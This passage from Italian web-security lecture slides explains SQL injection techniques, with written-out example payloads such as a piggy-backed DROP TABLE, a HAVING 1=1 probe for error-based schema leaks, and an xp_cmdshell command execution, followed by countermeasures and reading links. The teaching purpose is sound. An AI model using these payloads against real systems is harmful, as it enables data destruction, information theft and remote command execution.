"; query eseguita dall’applicazione: $q = "UPDATE utente SET pass=’password’ WHERE user=’admin’#’"; Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 27 / 33 Tecniche d’attacco SQLI Piggy-backed Obiettivo Eseguire un numero arbitrario di query, separate da“;” esempio di query: $q = "SELECT id FROM utente WHERE user=’" . $user . "’ AND pass=’" . $pass . "’"; parametri passati dall’attaccante: $user = "’; DROP TABLE utente -- "; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’’; DROP TABLE utente -- "’ AND pass=’’"; entrambe le query vengono eseguite! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 28 / 33 Tecniche d’attacco SQLI Piggy-backed Obiettivo Eseguire un numero arbitrario di query, separate da“;” esempio di query: $q = "SELECT id FROM utente WHERE user=’" . $user . "’ AND pass=’" . $pass . "’"; parametri passati dall’attaccante: $user = "’; DROP TABLE utente -- "; query eseguita dall’applicazione: $q = "SELECT id FROM utente WHERE user=’’; DROP TABLE utente -- "’ AND pass=’’"; entrambe le query vengono eseguite! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 28 / 33 Tecniche d’attacco SQLI Query illogica-Illegale Obiettivo Recuperare informazioni su tabelle, DBMS, . . . esempio di attacco: $user = "’ HAVING 1=1 -- "; query eseguita dall’applicazione: SELECT * FROM users WHERE username=’’ HAVING 1=1 -- ’ AND password=’’ possibile risposta del server: Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 29 / 33 Tecniche d’attacco SQLI Query illogica-Illegale Obiettivo Recuperare informazioni su tabelle, DBMS, . . . esempio di attacco: $user = "’ HAVING 1=1 -- "; query eseguita dall’applicazione: SELECT * FROM users WHERE username=’’ HAVING 1=1 -- ’ AND password=’’ possibile risposta del server: Microsoft OLE DB Provider for ODBC Drivers error ’80040e14’ [Microsoft][ODBC SQL Server Driver][SQL Server]Column ’users.id’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /process_login.asp, line 35 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 29 / 33 Tecniche d’attacco SQLI Stored Procedure Obiettivo Esecuzione di comandi remoti (stored procedure) MSSQL mette a disposizione circa 1000 stored procedure, per gestione database, creazione tabelle, gestione dati esterni, . . . xp cmdshell consente l’esecuzione di comandi sulla macchina esempio: ’; EXEC master..xp_cmdshell ’dir c:’ -- Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 30 / 33 SQLI: Contromisure Sanitizzazione dei dati affidata ai programmatori i programmatori spesso si affidano a metodi “automagici” (e.g., in PHP, magic quotes gpc fa escaping tramite addslashes()) la sanitizzazione dipende dall’attacco contro cui ci si vuole proteggere! sanitizzazione tramite regexp può essere “tricky” se ci aspetta un numero come parametro, verificare che sia tale . . . è possibile costruire stringhe senza utilizzare apici (AAA ⇔ char(65,65,65)) Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 31 / 33 Esercizi Tutti gli esercizi al seguente url: http://gamebox.laser.di.unimi.it/sec-web-app1213_part2/ HINT Gli esercizi sono in ordine crescente di difficoltà... Partite dai primi! Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 32 / 33 Bibliografia RFC HTTP http: // tools. ietf. org/ html/ rfc2109 (HTTP State Management Mechanism) OWASP XSS http: // www. owasp. org/ index. php/ XSS_ Attacks CSRF http: // www. owasp. org/ index. php/ CSRF Altro M. Kolsek Session Fixation Vulnerability in Web-based Applications http: // www. acros. si/ papers/ session_ fixation. pdf Samy virus: http: // namb. la/ popular/ A Classification of SQL Injection Attacks and Countermeasures http: // www. cc. gatech. edu/ ~ orso/ papers/ halfond. viegas. orso. ISSSE06. pdf Advanced SQL Injection In SQL Server Applications http: // www. nextgenss. com/ papers/ advanced_ sql_ injection. pdf bypassing Google Chrome Anti-XSS filter http: // seclists. org/ fulldisclosure/ 2013/ Jan/ 161 http: // blog. securitee. org/ ?p= 37 Srdjan Matic, Aristide Fattori Protocollo HTTP 31 Maggio 2013 33 / 33